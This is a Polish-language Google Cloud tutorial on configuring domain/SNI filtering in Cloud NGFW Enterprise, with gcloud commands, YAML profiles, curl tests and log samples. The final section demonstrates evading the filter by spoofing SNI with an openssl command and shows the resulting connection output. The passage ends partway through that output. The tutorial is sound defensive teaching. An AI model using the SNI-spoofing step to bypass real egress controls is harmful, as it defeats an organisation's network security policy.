1. Wprowadzenie
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.
Cloud NGFW ma następujące korzyści:
- Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowe, w pełni rozproszone egzekwowanie zasad na poziomie hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
- Uproszczona konfiguracja i wdrażanie: Cloud NGFW implementuje zasady zapory sieciowej i hierarchicznej, które można dołączyć do węzła hierarchii zasobów. Zapewniają one spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
- Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez Identity and Access Management (IAM) zapewnia szczegółową kontrolę ruchu północ-południe i wschód-zachód, aż do pojedynczej maszyny wirtualnej, w sieciach prywatnego środowiska wirtualnego w chmurze (VPC) i organizacjach.
Usługa Cloud NGFW jest dostępna w tych wersjach:
- Podstawy Cloud Next Generation Firewall
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Obiekty FQDN w Cloud NGFW Standard mogą tłumaczyć pełne i jednoznaczne nazwy domen (FQDN) na adresy IP, a następnie egzekwować regułę w odniesieniu do listy adresów IP. Jednak Cloud NGFW Enterprise z filtrowaniem domen może pójść o krok dalej.
Cloud NGFW Enterprise
Cloud NGFW Enterprise oferuje obecnie usługę zapobiegania włamaniom (IPS), która jest funkcją warstwy 7, w rozproszonej infrastrukturze zapory sieciowej Google Cloud.
Cloud NGFW Enterprise ma teraz filtrowanie domen, które umożliwia kontrolowanie ruchu http(s) za pomocą nazw domen zamiast adresów IP.
W przypadku filtrowania domen/SNI ruchu HTTPS w ramach uzgadniania TLS rozszerzeniem Client Hello jest Server Name Indication (SNI). SNI to rozszerzenie protokołu TLS, które wysyła nazwę hosta, z którym klient próbuje się połączyć. Na podstawie tego parametru będzie weryfikowane filtrowanie.
W przypadku ruchu HTTP nie ma SNI, więc do filtrowania będzie używane tylko pole nagłówka Host HTTP.
Filtrowanie domen jest konfigurowane za pomocą elementu UrlFilteringProfile, który jest nowym typem profilu zabezpieczeń. UrlFilteringProfile będzie zawierać listę UrlFilters, z których każdy zawiera działanie, listę dopasowywanych ciągów tekstowych i niepowtarzalny priorytet. Ta konfiguracja używa nazwy „Url” zamiast „Domain”, aby ułatwić przejście na filtrowanie pełnych adresów URL, gdy stanie się ono dostępne, zamiast tworzyć w przyszłości nowy typ profilu zabezpieczeń.
Profile filtrowania adresów URL zawierają domyślny filtr adresów URL o najniższym priorytecie (2147483647), który odrzuca wszystkie połączenia, które nie pasują do filtra adresów URL o wyższym priorytecie.
Co utworzysz
To ćwiczenie wymaga jednego projektu oraz możliwości utworzenia sieci VPC i zarządzania wieloma zasobami sieciowymi i zabezpieczającymi. Pokazuje, jak Cloud NGFW Enterprise może filtrować domeny i SNI, oraz zawiera opcjonalne instrukcje dotyczące inspekcji TLS.
Przetestujemy różne scenariusze reguł zezwalających i odmawiających, w tym użycie symboli wieloznacznych.
Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tabeli poniżej:
Priorytet | Kierunek | Target | Źródło | Cel | Czynność | Typ |
200 | Ruch przychodzący | WSZYSTKIE | IAP | Dowolna | Zezwól | Essentials |
300 | Ruch wychodzący | WSZYSTKIE | Dowolna | 0.0.0.0/0:80,443 | Inspekcja L7 | Enterprise |
Czego się nauczysz
- Jak utworzyć zasadę zapory sieciowej.
- Jak skonfigurować i używać filtrowania domen/SNI w Cloud NGFW Enterprise.
- Jak skonfigurować ochronę przed zagrożeniami oprócz filtrowania domen/SNI.
- Jak sprawdzić dzienniki.
- [Opcjonalnie] Jak włączyć inspekcję TLS.
Czego potrzebujesz
- projekt Google Cloud,
- Umiejętność wdrażania instancji i konfigurowania komponentów sieciowych.
- znajomość konfiguracji zapory sieciowej zasad sieciowych;
2. Zanim zaczniesz
Tworzenie i aktualizowanie zmiennych
W tym ćwiczeniu używamy zmiennych, aby ułatwić wdrażanie konfiguracji gcloud w Cloud Shell.
W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach kwadratowych odpowiednimi danymi:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Włącz interfejsy API
Włącz interfejsy API, jeśli jeszcze tego nie zrobiono:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Tworzenie punktu końcowego Cloud NGFW Enterprise
Tworzenie punktu końcowego Cloud NGFW Enterprise trwa około 20 minut, więc zostanie on utworzony jako pierwszy, a podstawową konfigurację można przeprowadzić równolegle podczas tworzenia punktu końcowego.
Filtrowanie domen/SNI będzie wymagać punktu końcowego zapory sieciowej, nawet jeśli nie zamierzasz używać profili zapobiegania zagrożeniom.
Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Aby sprawdzić, czy punkt końcowy jest tworzony (CREATING), uruchom to polecenie:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwane dane wyjściowe (format danych wyjściowych może się różnić w zależności od używanego klienta):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle utworzyć wymagane zasoby.
5. Konfiguracja podstawowa
Sieć VPC i podsieć
Sieć VPC i podsieć
Utwórz sieć VPC i podsieć:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Utwórz zewnętrzny adres IP, Cloud Router i bramę Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Tworzenie instancji
Utwórz instancję klienta:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Globalne zasady zapory sieciowej
Utwórz globalną zasadę zapory sieciowej:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Utwórz wymagane reguły podstawowe zapory sieciowej Cloud Firewall, aby zezwolić na ruch z zakresów Identity-Aware Proxy:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Powiąż zasadę zapory sieciowej z siecią VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Tworzenie konfiguracji filtrowania domen/SNI dla zezwalania
Następnie skonfigurujemy domeny, które mają być dozwolone i odrzucane. W Cloud Shell utwórz plik YAML:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Utwórz profil zabezpieczeń, importując konfigurację YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Oczekiwane dane wyjściowe:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Utwórz grupę profili zabezpieczeń:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Sprawdź, czy SPG zawiera profil zabezpieczeń:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Oczekiwane dane wyjściowe:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Powiązanie punktu końcowego zapory sieciowej Cloud Firewall
Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub jeśli wolisz podejście oparte na skryptach.
Sprawdź, czy tworzenie punktu końcowego zapory sieciowej w chmurze zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwane dane wyjściowe (format danych wyjściowych może się różnić w zależności od używanego klienta):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Powiąż punkt końcowy zapory sieciowej w chmurze z siecią VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Proces łączenia trwa około 10 minut. Do następnej sekcji przejdź dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):
gcloud network-security firewall-endpoint-associations list
Oczekiwane dane wyjściowe w przypadku zakończenia:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Tworzenie reguł zapory sieciowej do filtrowania domen i SNI
Google ma domyślne reguły zezwalające zapory sieciowej dotyczące ruchu wychodzącego. Jeśli chcemy wymusić filtrowanie domeny lub SNI, musimy wyraźnie zdefiniować regułę. Poniższa reguła będzie wysyłać ruch wychodzący na portach docelowych 80 i 443 do sprawdzenia przez nasz profil zabezpieczeń.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Weryfikowanie reguł zezwalania
Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wysyłaj przykładowe żądania do dozwolonego miejsca docelowego:
curl https://www.example.com --max-time 2
Zwróć uwagę, że to żądanie zostało zrealizowane dzięki regule zapory sieciowej „allow”.
Spróbujmy kilku domen, które nie znajdują się na liście.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Oczekiwane dane wyjściowe:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Dlaczego „example.com” nie działa? Dzieje się tak, ponieważ w konfiguracji profilu zabezpieczeń wyraźnie podano „www.example.com”. Jeśli chcemy zezwolić na dostęp do wszystkich subdomen domeny example.com, możemy użyć symbolu wieloznacznego.
Pozostałe żądania również nie zostały przetworzone. Wynika to z faktu, że grupa profili zabezpieczeń ma domyślne odrzucanie o najniższym priorytecie i tylko domena www.example.com jest dozwolona.
Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.
exit
10. Aktualizowanie konfiguracji filtrowania domeny/SNI dla symbolu wieloznacznego
Przyjrzyjmy się plikowi YAML i wprowadźmy dodatkowe zmiany, aby zaprezentować dodatkowe możliwości, w tym obsługę symboli wieloznacznych. Utworzymy regułę zezwalającą na „*.com”, która jest odpowiednikiem dowolnej domeny kończącej się na .com. Uwaga: całkowicie zastąpi ona zawartość oryginalnego pliku YAML utworzonego w poprzedniej sekcji.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sprawdź konfigurację profilu zabezpieczeń:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Oczekiwane dane wyjściowe:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Weryfikowanie reguły z wieloznacznikiem
Sprawdźmy, czy reguła z symbolem wieloznacznym działa. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wyślij przykładowe żądania do dozwolonych miejsc docelowych:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Wszystkie te żądania powinny zakończyć się powodzeniem. Możesz wypróbować dowolną inną prawidłową domenę .com. Jeśli nadal się nie powiedzie, odczekaj co najmniej 10 minut i spróbuj ponownie.
Możemy nawet wypróbować wiele subdomen domeny „.com” i wszystkie powinny działać.
curl https://mail.google.com --max-time 2
Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.
exit
12. Aktualizowanie konfiguracji filtrowania domen/SNI w przypadku odmowy
Pokazaliśmy, że na końcu profilu zabezpieczeń znajduje się reguła niejawnego ODMOWY dla * i utworzyliśmy „dozwolone” domeny, używając parametru filteringAction jako „ALLOW”. Omówmy teraz, jak używać parametru filteringAction z wartością „DENY”. Działania DENY mogą być przydatne, gdy poprzedzają wyraźne działanie ALLOW. Rozważmy ten przykład.
Zaktualizujemy istniejący plik YAML, aby zezwalał na *.com, ale odrzucał określone domeny .com.
Zmodyfikujemy plik YAML, aby zablokować domeny *.github.com i *.google.com, a jednocześnie wyraźnie zezwolić na wszystkie inne domeny *.com i zachować domyślne blokowanie. Pamiętaj, że priorytet wyjątków musi mieć niższą wartość: (1000 vs 2000) i (1500 vs 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sprawdź konfigurację profilu zabezpieczeń:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Weryfikowanie reguł odmowy
Sprawdźmy, czy reguły DENY działają. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wyślij przykładowe żądania do odrzuconych miejsc docelowych:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Te 2 żądania powinny zakończyć się niepowodzeniem, ponieważ pasowały do reguły „ODRZUĆ”.
Wyślij kilka dodatkowych żądań:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Dlaczego te reklamy były skuteczne? Działały one, ponieważ reguły DENY dotyczyły domen „.github.com” i „.google.com”. Żądania wysyłane do github.com i google.com nie są objęte tym symbolem wieloznacznym, ponieważ odnosi się on do subdomen github.com i google.com.
Inne żądania wysyłane do domen .com powinny być realizowane, a w przypadku innych domen domyślnie odrzucane. (.org, .net, .me itp.)
Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.
exit
14. Aktualizowanie konfiguracji filtrowania domen/SNI w przypadku domyślnego zezwalania
Co zrobić, jeśli chcesz mieć domyślne zachowanie ZEZWALAJ z wyraźnymi regułami odrzucania? Zaktualizujemy plik YAML, aby odzwierciedlał to zachowanie. Skonfigurujemy reguły DENY dla wszystkich domen .com i .net, a w przypadku pozostałych domen zezwolimy na dostęp.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sprawdź konfigurację profilu zabezpieczeń:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Oczekiwane dane wyjściowe:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Zwróć uwagę, że domyślne uprawnienie DENY dla * nadal istnieje. Ta reguła staje się nieistotna, ponieważ skonfigurowaliśmy regułę domyślną o wyższym priorytecie (niższej wartości), która ma ustawioną wartość ALLOW w przypadku parametru filteringAction.
(2000000000 vs 2147483647)
15. Weryfikacja reguł odmowy z domyślną regułą zezwalającą
Sprawdźmy, czy reguły DENY działają razem z domyślną regułą ALLOW. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wyślij przykładowe żądania do odrzuconych miejsc docelowych:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Te 2 żądania powinny zakończyć się niepowodzeniem, ponieważ pasowały do reguły „ODRZUĆ”. Każde żądanie dotyczące domeny .com lub .net powinno się nie powieść.
Wyślij kilka żądań, które powinny zostać zaakceptowane (dowolna inna domena najwyższego poziomu):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Te żądania powinny się powieść, ponieważ są zgodne z domyślną regułą zezwalającą o priorytecie 2000000000.
16. Sprawdzanie logów filtrowania domen i SNI
Sprawdźmy, jak można zweryfikować, czy ruch jest sprawdzany przez regułę zapory sieciowej dotyczącą filtrowania domen/SNI.
W konsoli Cloud otwórz Eksplorator logów i wpisz ten filtr:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Powyższy filtr sprawdza zasady zapory sieciowej o nazwie $prefix-fwpolicy i priorytet reguły 300, z którym powiązana jest grupa profili zabezpieczeń z konfiguracją filtrowania domeny lub SNI.
Jak widać, w polu „disposition” jest wpis „INTERCEPTED”, co oznacza, że ruch został przechwycony i przesłany do naszego silnika zapory sieciowej w celu przetworzenia.
Aby wyświetlić rzeczywiste logi filtrowania domeny lub SNI, w Eksploratorze logów wpisz ten filtr: (zastąp $project_id wartością project_id)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"
Jeśli rozwiniemy niektóre szczegóły, zobaczymy te informacje (po usunięciu danych umożliwiających identyfikację):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
Przykładowy log powyżej pokazuje żądanie do wikipedia.org, które zostało ZEZWOLONE, ponieważ pasowało do reguły o priorytecie 2000000000, która miała wartość „*” i działanie filtra ZEZWÓL. Zawiera on też inne szczegóły, w tym SNI.
Możemy przyjrzeć się przykładowemu logowi DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Jak widać powyżej, jest to żądanie, które zostało zarejestrowane w momencie odrzucenia prośby. Żądanie zostało wysłane do domeny www.php.net, która pasuje do reguły 1500 w profilu zabezpieczeń. Podobnie dopasowywała ona SNI, aby podjąć decyzję.
17. Weryfikowanie reguł w przypadku fałszowania SNI
Jak wspomnieliśmy we wstępie, NGFW Enterprise może sprawdzać nagłówek hosta HTTP w przypadku ruchu HTTP lub SNI w przypadku ruchu zaszyfrowanego za pomocą TLS. Osoby fizyczne mogą podszywać się pod SNI. Co się stanie, jeśli to zrobią?
Sprawdźmy zachowanie. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Aby sfałszować SNI, uruchom to polecenie openssl:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
W przykładzie powyżej oczekuje się, że żądania wysyłane do domen .com i .net będą blokowane, a inne domeny najwyższego poziomu będą dozwolone. Poniżej znajdziesz przykład sfałszowanej odpowiedzi. Żądanie jest wysyłane do www.google.com, który powinien być zablokowany, ale zamiast wysyłać SNI www.google.com, określamy SNI ifconfig.me. Ponieważ zasady sprawdzają SNI, uznają tę domenę za „dozwoloną” i umożliwią jej przejście. Udało nam się nawiązać połączenie TLS z witryną google.com.
.
Oczekiwane dane wyjściowe:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust 